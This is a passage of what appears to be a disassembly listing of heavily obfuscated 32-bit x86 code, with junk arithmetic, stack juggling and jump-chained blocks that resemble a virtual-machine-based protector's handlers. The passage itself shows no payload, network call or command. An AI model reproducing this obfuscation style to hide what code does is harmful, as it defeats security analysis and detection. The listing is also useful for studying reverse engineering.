XREF: sub_581EE9+21C1Dj mov [esp-6E66h+arg_6E5C+2], ebx jmp loc_59CDEF ; --------------------------------------------------------------------------- loc_595A37: ; CODE XREF: sub_581EE9+152CCj add ecx, ebp add ecx, 1E6EBAh pop ebp jmp loc_5A692A ; --------------------------------------------------------------------------- loc_595A45: ; CODE XREF: sub_581EE9+12828j push ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_595A4D: ; CODE XREF: sub_581EE9+14407j mov dl, 0B9h and dl, 48h and dl, 61h jmp loc_5A2736 ; --------------------------------------------------------------------------- loc_595A5A: ; CODE XREF: sub_581EE9+131A0j mov esp, [esp-6E9Ah+arg_6E92] jmp loc_59D2B0 ; --------------------------------------------------------------------------- loc_595A62: ; CODE XREF: sub_581EE9+1DF7Fj mov edx, 5C9106DAh push ebx mov ebx, edx mov eax, ebx pop ebx pop edx or eax, 3ABE4EE0h shl eax, 4 and eax, 58325C54h push ebp sub esp, 4 mov [esp-6E96h+arg_6E8E], edi mov edi, 1F7D758Bh neg edi xor edi, 27C73EC8h and edi, 0A343ADh shr edi, 6 xor edi, 558622C2h jmp loc_5A02FE ; --------------------------------------------------------------------------- loc_595AA6: ; CODE XREF: sub_581EE9+1C392j mov [esp-6E96h+arg_6E8E], esp add [esp-6E96h+arg_6E8E], 4 jmp loc_598414 ; --------------------------------------------------------------------------- loc_595AB2: ; CODE XREF: sub_581EE9+165E8j add ch, dl pop edx sub esp, 4 mov [esp-6E96h+arg_6E8E], eax jmp loc_5A4A4E ; --------------------------------------------------------------------------- loc_595AC3: ; CODE XREF: sub_581EE9+13457j mov [esp-6E6Eh+arg_6E64+2], edx mov edx, esp push eax mov eax, 4 jmp loc_59E432 ; --------------------------------------------------------------------------- loc_595AD3: ; CODE XREF: sub_581EE9+1B711j add bl, 0B2h add bl, 53h push ecx mov ch, 5Eh dec ch add ch, 6Fh sub bl, ch jmp loc_5943DF ; --------------------------------------------------------------------------- loc_595AE8: ; CODE XREF: sub_581EE9+111E0j add edx, 4 add edx, 4 xchg edx, [esp-6E4Eh+arg_6E44+2] pop esp pop [esp-6E52h+arg_6E48+2] mov esp, [esp-6E56h+arg_6E4C+2] push ecx jmp loc_5A278E ; --------------------------------------------------------------------------- loc_595B04: ; CODE XREF: sub_581EE9+1E9FBj add eax, 14E616FAh push ebx jmp loc_59E2BB ; --------------------------------------------------------------------------- loc_595B0F: ; CODE XREF: sub_581EE9+236C8j pop ebp push edx mov edx, 530710D5h add eax, edx jmp loc_59AC94 ; --------------------------------------------------------------------------- loc_595B1D: ; CODE XREF: sub_581EE9+133EFj dec edx shl edx, 5 sub edx, 2A7B40BCh jmp loc_5A3078 ; --------------------------------------------------------------------------- loc_595B2C: ; CODE XREF: sub_581EE9+15D9Fj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-6EA4h+arg_6E9A+2] pop esp mov [esp-6EA8h+arg_6E9E+2], eax mov eax, esp add eax, 4 push esi mov esi, 4 add eax, esi mov esi, [esp-6EA4h+arg_6E9A+2] add esp, 4 jmp loc_59E4B3 ; --------------------------------------------------------------------------- loc_595B5E: ; CODE XREF: sub_581EE9+249B4j mov al, dh pop dx sub al, 0A4h add al, 0FFh inc al xor al, 43h add bh, 80h add bh, al jmp loc_593DC8 ; --------------------------------------------------------------------------- loc_595B74: ; CODE XREF: sub_581EE9+158DDj mov dword ptr [esp-6EAAh+arg_6EA2], ebx push 2BDDh mov [esp-6EA6h+arg_6E9E], ebp mov ebp, 370909AEh sub ebp, 77061DAEh jmp loc_598D62 ; --------------------------------------------------------------------------- loc_595B8F: ; CODE XREF: sub_581EE9+11049j push [esp-6E66h+arg_6E5C+2] pop ebp add esp, 4 sub esi, 1F2B1279h add esi, eax add esi, 1F2B1279h jmp loc_59D39C ; --------------------------------------------------------------------------- loc_595BA9: ; CODE XREF: sub_581EE9+15F4Cj pop edx push dword ptr [ecx] jmp loc_593E95 ; --------------------------------------------------------------------------- loc_595BB1: ; CODE XREF: sub_581EE9+1435Aj push esi push [esp-6E66h+arg_6E60+2] jmp loc_593027 ; --------------------------------------------------------------------------- loc_595BBB: ; CODE XREF: sub_581EE9+1E240j add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E62h+arg_6E58+2] pop esp mov [esp-6E66h+arg_6E5C+2], edi mov edi, esp add edi, 4 jmp loc_599064 ; --------------------------------------------------------------------------- loc_595BD8: ; CODE XREF: sub_581EE9+21B77j add ebx, 45944B68h shl ebx, 3 sub ebx, 2DD64766h shl ebx, 6 xor ebx, 581E4E88h and eax, ebx pop ebx not eax jmp loc_59AF9E ; --------------------------------------------------------------------------- loc_595BFA: ; CODE XREF: sub_581EE9+1D704j sub eax, 775A5F72h jmp loc_5A45B7 ; --------------------------------------------------------------------------- loc_595C04: ; CODE XREF: sub_581EE9+20C35j mov edx, 2299190Bh jmp loc_5972C4 ; --------------------------------------------------------------------------- loc_595C0E: ; CODE XREF: sub_581EE9+17C74j xchg esi, [esp-6E6Ah+arg_6E60+2] mov esp, [esp-6E6Ah+arg_6E60+2] sar [esp-6E6Ah+arg_6E60+2], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_595C1D: ; CODE XREF: sub_581EE9+1D7B1j xor edx, [esp-6E66h+arg_6E5C+2] jmp loc_593FEC ; --------------------------------------------------------------------------- loc_595C25: ; CODE XREF: sub_581EE9+1F6E2j pop edx jmp loc_5A408E ; --------------------------------------------------------------------------- loc_595C2B: ; CODE XREF: sub_581EE9+130ABj sub ch, al jmp loc_5A0E3F ; --------------------------------------------------------------------------- loc_595C32: ; CODE XREF: sub_581EE9+1A9F4j neg edi push edx jmp loc_597770 ; --------------------------------------------------------------------------- loc_595C3A: ; CODE XREF: sub_581EE9+22F9Aj push edx jmp loc_59C2D1 ; --------------------------------------------------------------------------- loc_595C40: ; CODE XREF: sub_581EE9+22A75j or eax, eax jnz loc_5A5336 sub esp, 4 mov [esp-6E80h+arg_6E76+2], ebp push edx push esp pop edx jmp loc_5970CE ; --------------------------------------------------------------------------- loc_595C56: ; CODE XREF: sub_581EE9+1BBA0j mov ebp, 81161395h sub esi, 7EF80DFAh sub esi, ebp jmp loc_5A3226 ; --------------------------------------------------------------------------- loc_595C68: ; CODE XREF: sub_581EE9+14DF9j push eax jmp loc_593A9A ; --------------------------------------------------------------------------- loc_595C6E: ; CODE XREF: sub_581EE9+15F74j add [esp-6E78h+arg_6E72+2], eax mov eax, [esp-6E78h+arg_6E6E+2] add esp, 4 mov ecx, [esp-6E7Ch+arg_6E72+2] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_59D053 ; --------------------------------------------------------------------------- loc_595C8F: ; CODE XREF: sub_581EE9+243B2j add esp, 4 push eax mov edi, [esp-6E7Ch+arg_6E72+2] jmp loc_5A7152 ; --------------------------------------------------------------------------- loc_595C9B: ; CODE XREF: sub_581EE9+21363j pop ebp add ebp, 4 jmp loc_5A4E1D ; --------------------------------------------------------------------------- loc_595CA7: ; CODE XREF: sub_581EE9+2467Aj sub esp, 4 mov [esp-6E7Ch+arg_6E72+2], eax push [esp-6E7Ch+arg_6E76+2] mov eax, [esp-6E78h+arg_6E6E+2] jmp loc_5A1E24 ; --------------------------------------------------------------------------- loc_595CB9: ; CODE XREF: sub_581EE9+19A9Dj mov ebp, 1E1B574Bh jmp loc_592EB6 ; --------------------------------------------------------------------------- loc_595CC3: ; CODE XREF: sub_581EE9+18379j add ebx, edi sub ebx, 25425C1Ah push ecx mov ecx, eax jmp loc_59F4AC ; --------------------------------------------------------------------------- loc_595CD3: ; CODE XREF: sub_581EE9+24626j and eax, edx push dword ptr [esp+0] pop edx add esp, 4 or eax, eax jz loc_5A02A6 sub esp, 4 mov [esp+0], edx jmp loc_595E64 ; --------------------------------------------------------------------------- loc_595CF5: ; CODE XREF: sub_581EE9+2142Ej mov edx, [esp+0] add esp, 4 push 437h mov [esp+0], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] jmp loc_59A644 ; --------------------------------------------------------------------------- loc_595D16: ; CODE XREF: sub_581EE9+1630Fj mov eax, 4E4842AAh push ebp push 63D92022h jmp loc_5935FD ; --------------------------------------------------------------------------- loc_595D26: ; CODE XREF: sub_581EE9+12D2Fj shr edx, 8 neg edx dec edx not edx push ebx jmp loc_5A1666 ; --------------------------------------------------------------------------- loc_595D34: ; CODE XREF: sub_581EE9+15009j add ebp, ecx mov ecx, [esp-6E80h+arg_6E76+2] jmp loc_59ABFB ; --------------------------------------------------------------------------- loc_595D3E: ; CODE XREF: sub_581EE9+1C8EAj xor ebx, 557133ADh xor ebx, 395F0A6Bh shl ebx, 8 sub ebx, 6D665D80h push eax mov eax, 0EAD9C984h add ebx, eax pop eax add eax, ebx pop ebx add eax, 4 xchg eax, [esp-6E84h+arg_6E7C] mov esp, [esp-6E84h+arg_6E7C] add esi, 67994A46h push eax mov eax, 6B535814h add esi, eax pop eax add esi, ecx push ebp mov ebp, 2EBB40CDh add ebp, 3C981747h sub esi, ebp jmp loc_59C11D ; --------------------------------------------------------------------------- loc_595D8E: ; CODE XREF: sub_581EE9+242D7j mov eax, [esp-6E80h+arg_6E76+2] add esp, 4 mov esi, 3EE25C0Eh add esi, 6653E07h jmp loc_5945B8 ; --------------------------------------------------------------------------- loc_595DA4: ; CODE XREF: sub_581EE9+14CA2j add eax, ebp pop ebp mov ebx, [esp-6E88h+arg_6E80] add esp, 4 xor ebx, eax push ebx jmp loc_592063 ; --------------------------------------------------------------------------- loc_595DB5: ; CODE XREF: sub_581EE9+1E6C1j sub bl, al push 5BD8h mov [esp-6E84h+arg_6E7C], edx push eax mov ah, 6Dh mov dl, ah mov eax, [esp-6E80h+arg_6E76+2] jmp loc_594D80 ; --------------------------------------------------------------------------- loc_595DCC: ; CODE XREF: sub_581EE9+11F0Cj sub ebx, 0BEB3189h add ebx, edi jmp loc_5993E1 ; --------------------------------------------------------------------------- loc_595DD9: ; CODE XREF: sub_581EE9+196CEj add edx, 19FE5A43h add edx, ebp sub edx, 19FE5A43h push esi jmp loc_59433D ; --------------------------------------------------------------------------- loc_595DED: ; CODE XREF: sub_581EE9+1A454j push 7E90h mov [esp-6E8Eh+arg_6E84+2], esi push ecx jmp loc_59A5E2 ; --------------------------------------------------------------------------- loc_595DFB: ; CODE XREF: sub_581EE9+22A96j add ebx, 4CEC534Eh jmp loc_5A471E ; --------------------------------------------------------------------------- loc_595E06: ; CODE XREF: sub_581EE9+11497j add esp, 4 sub esp, 4 mov [esp-6E94h+arg_6E8A+2], edx push esp jmp loc_596BFF ; --------------------------------------------------------------------------- loc_595E15: ; CODE XREF: sub_581EE9+19B01j mov eax, 0BC741FAh jmp loc_5A1183 ; --------------------------------------------------------------------------- loc_595E1F: ; CODE XREF: sub_581EE9+242FFj push eax mov eax, 4 add dword ptr [esp+4], 7EA76790h jmp loc_59F79B ; --------------------------------------------------------------------------- loc_595E32: ; CODE XREF: sub_581EE9+12C9Bj xchg edx, [esp+0] mov esp, [esp+0] jmp loc_5A1012 ; --------------------------------------------------------------------------- loc_595E3D: ; CODE XREF: sub_581EE9+12E3Ej pop edx pop edx xchg esi, [esp-6EB0h+arg_6EA8] mov esp, [esp-6EB0h+arg_6EA8] loc_595E45: ; CODE XREF: sub_581EE9+23B57j push edx push ebx xor [esp-6EA8h+arg_6E9E+2], 13DD0DEFh push [esp-6EA8h+arg_6E9E+2] mov edx, [esp-6EA4h+arg_6E9A+2] add esp, 4 push 69B5h jmp loc_5A2B6D ; --------------------------------------------------------------------------- loc_595E64: ; CODE XREF: sub_581EE9+13E07j push 1Ch jmp loc_5A6BE5 ; --------------------------------------------------------------------------- loc_595E6E: ; CODE XREF: sub_581EE9+151F1j push 1892h mov [esp-6E6Ch+arg_6E64], eax mov eax, 3457305Eh push ecx sub esp, 4 mov [esp-6E64h+arg_6E5C], ebx push 3B157E2Bh pop ebx push edi jmp loc_59D7CE ; --------------------------------------------------------------------------- loc_595E8E: ; CODE XREF: sub_581EE9+1C6FBj mov esi, 2BDE5115h sub esi, 1 sub esi, 4B500800h jmp loc_5998B4 ; --------------------------------------------------------------------------- loc_595EA1: ; CODE XREF: sub_581EE9+22AFDj push edi push 502D35DEh pop edi xor edi, 76546880h not edi xor edi, 0B32AC90Dh push edi add [esp-6E58h+arg_6E50], 0ABE57CBh jmp loc_5A143B ; --------------------------------------------------------------------------- loc_595EC3: ; CODE XREF: sub_581EE9+23748j push [esp-6E58h+arg_6E54] pop eax jmp loc_5A186C ; --------------------------------------------------------------------------- loc_595ECD: ; CODE XREF: sub_581EE9+1B36Fj mov eax, 4 add ebx, eax pop eax xchg ebx, [esp-6E5Ch+arg_6E54] pop esp push [esp-6E60h+arg_6E58] pop edi jmp loc_597C87 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp-6E5Ch+arg_6E54], ecx mov ecx, 3Ch jmp loc_5940CD ; --------------------------------------------------------------------------- loc_595EF2: ; CODE XREF: sub_581EE9+1DF4Cj push edx push ebp mov ebp, 4 mov edx, ebp pop ebp add ebp, 44C46D67h add ebp, edx jmp loc_59DAA2 ; --------------------------------------------------------------------------- loc_595F09: ; CODE XREF: sub_581EE9+19BAEj mov ebx, 7A5B3215h shl ebx, 3 push ecx mov ecx, 0D2D990ACh jmp loc_593D62 ; --------------------------------------------------------------------------- loc_595F1C: ; CODE XREF: sub_581EE9+1291Aj pop edi xor ebp, [esp-6E5Ah+arg_6E50+2] xor [esp-6E5Ah+arg_6E50+2], ebp xor ebp, [esp-6E5Ah+arg_6E50+2] jmp loc_59A17B ; --------------------------------------------------------------------------- loc_595F2B: ; CODE XREF: sub_581EE9+23B13j xor ebp, [esp-6E5Ah+arg_6E50+2] mov esp, [esp-6E5Ah+arg_6E50+2] push edi mov edi, esp push 7202h mov [esp-6E52h+arg_6E48+2], eax push 7EE2h mov [esp-6E4Eh+arg_6E44+2], esi mov esi, 5A096708h sub esp, 4 mov [esp+0], edx mov edx, 0C7C7B2D4h mov eax, edx pop edx add eax, 26AA1CEFh sub eax, esi sub eax, 26AA1CEFh pop esi push edi push eax jmp loc_59F919 ; --------------------------------------------------------------------------- loc_595F6E: ; CODE XREF: sub_581EE9+1CEFEj add esp, 4 add bl, dl mov edx, [esp-6E4Eh+arg_6E44+2] add esp, 4 add dh, 0E3h sub dh, bl sub dh, 0E3h pop ebx xor al, dh mov edx, [esp-6E56h+arg_6E4C+2] add esp, 4 jmp loc_5A05A4 ; --------------------------------------------------------------------------- loc_595F95: ; CODE XREF: sub_581EE9+12B89j push esi mov esi, 556635E0h mov ebx, esi pop esi push ebx mov esi, [esp-6E60h+arg_6E58] add esp, 4 mov ebx, [esp-6E64h+arg_6E5C] add esp, 4 add eax, esi jmp loc_598478 ; --------------------------------------------------------------------------- loc_595FB8: ; CODE XREF: sub_581EE9+14AB4j add ebp, 4 add ebp, 4 jmp loc_59FB06 ; --------------------------------------------------------------------------- loc_595FC9: ; CODE XREF: sub_581EE9+21A81j push [esp-6E68h+arg_6E60] mov edx, [esp-6E64h+arg_6E5C] add esp, 4 push 268h jmp loc_5A68C3 ; --------------------------------------------------------------------------- loc_595FDC: ; CODE XREF: sub_581EE9+21B7Ej pop ecx xor edi, 18DF1364h or edi, 1DC93644h and edi, 7DCE5F96h push ebx push 0C5Ah jmp loc_5A2B9D ; --------------------------------------------------------------------------- loc_595FFA: ; CODE XREF: sub_581EE9+17892j sub esp, 4 jmp loc_59AA15 ; --------------------------------------------------------------------------- loc_596002: ; CODE XREF: sub_581EE9+1E867j sub esi, 38F05034h jmp loc_59B887 ; --------------------------------------------------------------------------- loc_59600D: ; CODE XREF: sub_581EE9+101ADj pop esp sub ecx, 3F1B5792h push ebp mov ebp, 4A392B83h or ebp, 544F2336h and ebp, 7EC61527h add ebp, 1 shl ebp, 5 add ebp, 5F233605h add ebp, 0DEDFBBEFh sub ecx, 6F2D4B6Bh sub ecx, ebp jmp loc_5A377C ; --------------------------------------------------------------------------- pop ecx push edx jmp loc_597B4F ; --------------------------------------------------------------------------- loc_59604F: ; CODE XREF: sub_581EE9+22F5Fj push edx mov edx, 87F3358h sub edx, 0FFFFFFFFh xor edx, 87F3358h sub esp, 4 mov [esp-6E9Ah+arg_6E92], edx pop ecx mov edx, [esp-6E9Eh+arg_6E96] add esp, 4 or [edi+1Ch], ecx mov ecx, [esp-6EA2h+arg_6E9A] push ecx push esp pop ecx add ecx, 4 push edi mov edi, 4 sub esp, 4 mov [esp-6E96h+arg_6E8E], ebp push edi mov edi, 43211415h sub edi, 49DA323Eh jmp loc_5A2D84 ; --------------------------------------------------------------------------- loc_59609A: ; CODE XREF: sub_581EE9+21E39j add ebp, 0BA3AF74Bh and esi, ebp pop ebp xor esi, 6D3313C7h jmp loc_59D7ED ; --------------------------------------------------------------------------- loc_5960AE: ; CODE XREF: sub_581EE9+18FFBj mov bh, 0C6h xor ah, bh mov bx, word ptr [esp-6E96h+arg_6E8E] add esp, 2 add bl, 0C1h sub bl, ah jmp loc_5A38D2 ; --------------------------------------------------------------------------- loc_5960C6: ; CODE XREF: sub_581EE9+18D18j xor eax, ebp pop ebp sub esi, 580519BFh add esi, 6845456Dh add esi, eax sub esi, 6845456Dh jmp loc_5A4963 ; --------------------------------------------------------------------------- loc_5960E2: ; CODE XREF: sub_581EE9+1D510j sub eax, 4 xchg eax, [esp-6E9Eh+arg_6E96] mov esp, [esp-6E9Eh+arg_6E96] jmp loc_59BDEE ; --------------------------------------------------------------------------- loc_5960F2: ; CODE XREF: sub_581EE9+16434j sub [esp-6E9Eh+arg_6E96], 3E9A052Bh jmp loc_5A6DF2 ; --------------------------------------------------------------------------- loc_5960FE: ; CODE XREF: sub_581EE9+131DBj mov [esp-6E9Ah+arg_6E92], ebx jmp loc_59C392 ; --------------------------------------------------------------------------- loc_596106: ; CODE XREF: sub_581EE9+11B46j mov eax, 2 sub esi, 2F602F0Ah sub esi, 483F386Bh add esi, eax add esi, 483F386Bh push 1816h mov [esp-6E86h+arg_6E7C+2], edx push ecx jmp loc_5A0A6A ; --------------------------------------------------------------------------- loc_59612D: ; CODE XREF: sub_581EE9+1CC91j add esp, 4 add esp, 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59613B: ; CODE XREF: sub_581EE9+2207Cj sub esi, 4 xchg esi, [esp-6E8Ah+arg_6E80+2] jmp loc_593B30 ; --------------------------------------------------------------------------- loc_596146: ; CODE XREF: sub_581EE9+2302Fj pop edi jmp loc_597BA0 ; --------------------------------------------------------------------------- loc_59614C: ; CODE XREF: sub_581EE9+1EC14j add eax, 4 xchg eax, [esp-6E8Eh+arg_6E84+2] pop esp jmp loc_5A4269 ; --------------------------------------------------------------------------- loc_59615A: ; CODE XREF: sub_581EE9+198F7j sub eax, 7FB17013h sub eax, esi add eax, 7FB17013h pop esi loc_596167: ; DATA XREF: sub_581EE9:off_590413o push 1DDh jmp loc_5A1A31 ; --------------------------------------------------------------------------- loc_596171: ; CODE XREF: sub_581EE9+12550j or ebp, edi pop edi sub ebp, 7F8B7FB7h mov ebx, ebp pop ebp add ebp, ebx pop ebx xchg ebp, [esp-6EA2h+arg_6E9A] mov esp, [esp-6EA2h+arg_6E9A] mov eax, [esp-6EA2h+arg_6E9A] push 6E03h mov [esp-6E9Eh+arg_6E96], ebx push esp pop ebx push ebp mov ebp, 607B5851h jmp loc_5A380E ; --------------------------------------------------------------------------- loc_59619E: ; CODE XREF: sub_581EE9+1F364j mov edx, [esp-6E9Ah+arg_6E92] jmp loc_5A56EA ; --------------------------------------------------------------------------- loc_5961A6: ; CODE XREF: sub_581EE9+1CC74j add eax, 2 xor eax, [esp-6E9Ah+arg_6E92] xor [esp-6E9Ah+arg_6E92], eax xor eax, [esp-6E9Ah+arg_6E92] mov esp, [esp-6E9Ah+arg_6E92] jmp loc_5A5A01 ; --------------------------------------------------------------------------- loc_5961BA: ; CODE XREF: sub_581EE9+1CBFBj pop edx jmp loc_5A0FA3 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp-6EA0h+arg_6E96+2], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5961D0: ; CODE XREF: sub_581EE9+222CFj sub al, 0D4h jmp loc_5A4947 ; --------------------------------------------------------------------------- loc_5961D7: ; CODE XREF: sub_581EE9+1B0F2j add esi, ecx jmp loc_59BF8D ; --------------------------------------------------------------------------- loc_5961DE: ; CODE XREF: sub_581EE9+10582j add edi, ebx add edi, 32DD4BCCh push eax mov eax, 66940AEAh add edi, eax pop eax sub edi, 0C783BFEh mov ebx, [esp-6EA8h+arg_6E9E+2] jmp loc_59FF23 ; --------------------------------------------------------------------------- loc_5961FD: ; CODE XREF: sub_581EE9+15D86j push 77BDh mov [esp-6EA4h+arg_6E9A+2], ebx mov bl, 44h and bl, 91h xor bl, 0F9h sub al, 0A4h jmp loc_5A2125 ; --------------------------------------------------------------------------- loc_596214: ; CODE XREF: sub_581EE9+1711Aj sub edx, 1 push edx not [esp-6EA0h+arg_6E96+2] pop edx push edi mov edi, 10E15417h xor edx, edi pop edi sub edx, 80A6356h push esi jmp loc_5A0B81 ; --------------------------------------------------------------------------- loc_596234: ; CODE XREF: sub_581EE9+114C2j mov ebx, [esp-6E8Eh+arg_6E84+2] push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_595BB1 ; --------------------------------------------------------------------------- loc_596248: ; CODE XREF: sub_581EE9+10A9Bj pop esi jmp loc_5A26BC ; --------------------------------------------------------------------------- loc_59624E: ; CODE XREF: sub_581EE9+1E6B6j push 4B6Ch mov [esp-6EA4h+arg_6E9A+2], edx mov dl, bh push ebx mov bl, dl mov ah, bl pop ebx pop edx mov ebx, [esp-6EA8h+arg_6E9E+2] add esp, 4 jmp loc_59464D ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_593A51 push 79C7h mov [esp-6EA8h+arg_6E9E+2], ecx jmp loc_5A0743 ; --------------------------------------------------------------------------- loc_596282: ; CODE XREF: sub_581EE9+16733j pop ecx push 1636h jmp loc_5A4700 ; --------------------------------------------------------------------------- loc_59628D: ; CODE XREF: sub_581EE9+207B9j mov dl, cl mov bh, dl pop edx jmp loc_5A32DE ; --------------------------------------------------------------------------- loc_596297: ; CODE XREF: sub_581EE9+1C529j pop esi push 4D8Dh mov [esp-6EACh+arg_6EA4], esi push esp pop esi push ecx push edi mov edi, 2B54575h xor edi, 7E8D7E39h shr edi, 8 or edi, 63EF2BD2h jmp loc_5A1AA9 ; --------------------------------------------------------------------------- loc_5962BD: ; CODE XREF: sub_581EE9+18B92j pop ebp mov ecx, esi mov esi, [esp-6EA8h+arg_6E9E+2] push eax jmp loc_599923 ; --------------------------------------------------------------------------- loc_5962C9: ; CODE XREF: sub_581EE9+1760Ej mov esi, ebp pop ebp mov edi, [esp-6EA8h+arg_6E9E+2] add esp, 4 mov ebp, [esp-6EACh+arg_6EA4] add esp, 4 push ebp mov ebp, 7D9B3B56h jmp loc_59929E ; --------------------------------------------------------------------------- loc_5962E6: ; CODE XREF: sub_581EE9+16B8Aj mov word ptr [esp-6EACh+arg_6EA4], bx mov bl, 7Bh mov al, bl pop bx jmp loc_595A4D ; --------------------------------------------------------------------------- loc_5962F5: ; CODE XREF: sub_581EE9+21B71j mov eax, 4E0A0056h and edi, eax pop eax xor edi, 4E0A0012h jmp loc_5971FD ; --------------------------------------------------------------------------- loc_596308: ; CODE XREF: sub_581EE9+16C4Fj xor [esp-6EB2h+arg_6EA8+2], ecx xor ecx, [esp-6EB2h+arg_6EA8+2] jmp loc_59EFFA ; --------------------------------------------------------------------------- loc_596313: ; CODE XREF: sub_581EE9+1F8C3j mov edi, [esp-6EB2h+arg_6EA8+2] jmp loc_59A8E6 ; --------------------------------------------------------------------------- loc_59631B: ; CODE XREF: sub_581EE9+1EC8Ej neg ebp push esi mov esi, 60990FBDh neg esi add esi, 60C244E3h sub ebp, 10964F06h sub ebp, esi jmp loc_5A10B9 ; --------------------------------------------------------------------------- loc_596338: ; CODE XREF: sub_581EE9+1A08Bj add esp, 4 add esp, 4 sub esp, 4 mov [esp-6EB2h+arg_6EA8+2], esi mov esi, 117F2E4Ah xor edi, esi pop esi or ebp, edi mov edi, [esp-6EB6h+arg_6EAC+2] add esp, 4 push esi mov esi, 5F7D2A6Fh xor ebp, esi pop esi push ebp jmp loc_59D0F9 ; --------------------------------------------------------------------------- loc_59636C: ; CODE XREF: sub_581EE9+16BD2j push ecx jmp loc_59DD32 ; --------------------------------------------------------------------------- loc_596372: ; CODE XREF: sub_581EE9+1BD08j mov [esp-6EB2h+arg_6EA8+2], ecx push esp pop ecx push esi mov esi, 4 add ecx, esi jmp loc_59C7D6 ; --------------------------------------------------------------------------- loc_596384: ; CODE XREF: sub_581EE9+1A22Fj not bh and bh, 0A7h sub bh, 56h sub ch, bh pop ebx add al, ch mov ecx, [esp-6EB2h+arg_6EA8+2] add esp, 4 jmp loc_5A0CC4 ; --------------------------------------------------------------------------- loc_59639C: ; CODE XREF: sub_581EE9+132E9j sub eax, ecx pop ecx sub esp, 4 mov [esp-6EAEh+arg_6EA4+2], edx push esp pop edx add edx, 4 sub edx, 4 push edx push [esp-6EAAh+arg_6EA4+2] pop edx pop dword ptr [esp-6EAAh+arg_6EA2] mov esp, [esp-6EAEh+arg_6EA4+2] mov [esp-6EAEh+arg_6EA4+2], ebx push ecx jmp loc_598EAE ; --------------------------------------------------------------------------- loc_5963C8: ; CODE XREF: sub_581EE9+13A8Cj push eax mov eax, 4 add ebx, eax jmp loc_59507F ; --------------------------------------------------------------------------- loc_5963D5: ; CODE XREF: sub_581EE9+1F1F8j sub ebp, ecx mov ecx, [esp-6E9Ah+arg_6E92] add esp, 4 jmp loc_5A3841 ; --------------------------------------------------------------------------- loc_5963E2: ; CODE XREF: sub_581EE9+1AC79j add esp, 4 add esp, 4 shl esi, 4 push esi dec [esp-6EA2h+arg_6E9A] mov esi, [esp-6EA2h+arg_6E9A] add esp, 4 jmp loc_59A18F ; --------------------------------------------------------------------------- loc_5963FD: ; CODE XREF: sub_581EE9+13978j shr si, 2 and si, 62F5h sub si, 77F2h add si, 0AC6Ah mov ax, si pop esi jmp loc_596A87 ; --------------------------------------------------------------------------- loc_596419: ; CODE XREF: sub_581EE9+10BECj push edx push ebp jmp loc_59A353 ; --------------------------------------------------------------------------- loc_596420: ; CODE XREF: sub_581EE9+1FF09j mov [esp-6E9Eh+arg_6E96], edx mov edx, 41C11DB7h or ebp, edx pop edx sub ebp, 30C461B6h inc ebp push 1899h mov [esp-6E9Eh+arg_6E96], edi jmp loc_5A01EC ; --------------------------------------------------------------------------- loc_59643F: ; CODE XREF: sub_581EE9+1EEF1j sub esp, 4 mov [esp-6E9Ah+arg_6E92], ebx mov ebx, 2 add ebp, ebx jmp loc_5A17B9 ; --------------------------------------------------------------------------- loc_596451: ; CODE XREF: sub_581EE9+17B14j push [esp-6E9Ah+arg_6E92] jmp loc_5965C6 ; --------------------------------------------------------------------------- loc_596459: ; CODE XREF: sub_581EE9+10343j push small 6504h mov word ptr [esp-6EA6h+arg_6E9E], ax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_596466: ; CODE XREF: sub_581EE9+1C248j mov [esp], ecx push edx jmp loc_59931C ; --------------------------------------------------------------------------- loc_59646F: ; CODE XREF: sub_581EE9+1F5A2j mov al, 4Ah sub dh, al mov ax, word ptr [esp-6EA2h+arg_6E9A] push edi mov edi, esp add edi, 4 jmp loc_5A15DA ; --------------------------------------------------------------------------- loc_596485: ; CODE XREF: sub_581EE9+16325j add [ecx], edx push [esp-6E9Eh+arg_6E96] jmp loc_5A27C9 ; --------------------------------------------------------------------------- loc_59648F: ; CODE XREF: sub_581EE9+1119Dj sub [esp-6E4Eh+arg_6E44+2], 2EE563FCh pop ebx add ebx, 2EE563FCh jmp loc_593751 ; --------------------------------------------------------------------------- loc_5964A2: ; CODE XREF: sub_581EE9+15882j push eax mov eax, 239D24A8h add eax, 477A4336h mov edx, eax jmp loc_5A334E ; --------------------------------------------------------------------------- lodsb add al, 5Ch add al, 0D9h sub al, 0E7h add al, 4Fh add al, bl sub al, 4Fh jmp loc_5A6222 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E4Eh+arg_6E44+2] push esi push esp pop esi sub esp, 4 mov [esp-6E46h+arg_6E3E], ebx push eax mov eax, 2D1E15C1h sub esp, 4 mov [esp-6E3Eh+arg_6E36], eax xor [esp-6E3Eh+arg_6E36], 17FD56ADh pop ebx xor ebx, 17FD56ADh pop eax sub esp, 4 mov [esp-6E42h+arg_6E3A], esi push ebx mov ebx, 1F400640h dec ebx jmp loc_5939F7 ; --------------------------------------------------------------------------- loc_596503: ; CODE XREF: sub_581EE9+12ED0j pop ecx shl ecx, 7 sub ecx, 706F7614h mov eax, ecx mov ecx, [esp-6EAEh+arg_6EA4+2] add esp, 4 add ebx, eax jmp loc_5A2AFD ; --------------------------------------------------------------------------- loc_59651F: ; CODE XREF: sub_581EE9+1D59Cj add [esp-6EB2h+arg_6EA8+2], 4 jmp loc_594EC6 ; --------------------------------------------------------------------------- loc_59652B: ; CODE XREF: sub_581EE9+1030Dj push [esp-6EA4h+arg_6E9A+2] pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6EA0h+arg_6E96+2] pop esp push 62CEh mov [esp-6EA0h+arg_6E96+2], esi mov esi, esp push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E9Ch+arg_6E92+2] mov esp, [esp-6E9Ch+arg_6E92+2] mov [esp-6E9Ch+arg_6E92+2], eax push esi push 2723633h pop esi jmp loc_5A32D1 ; --------------------------------------------------------------------------- mov ax, word ptr 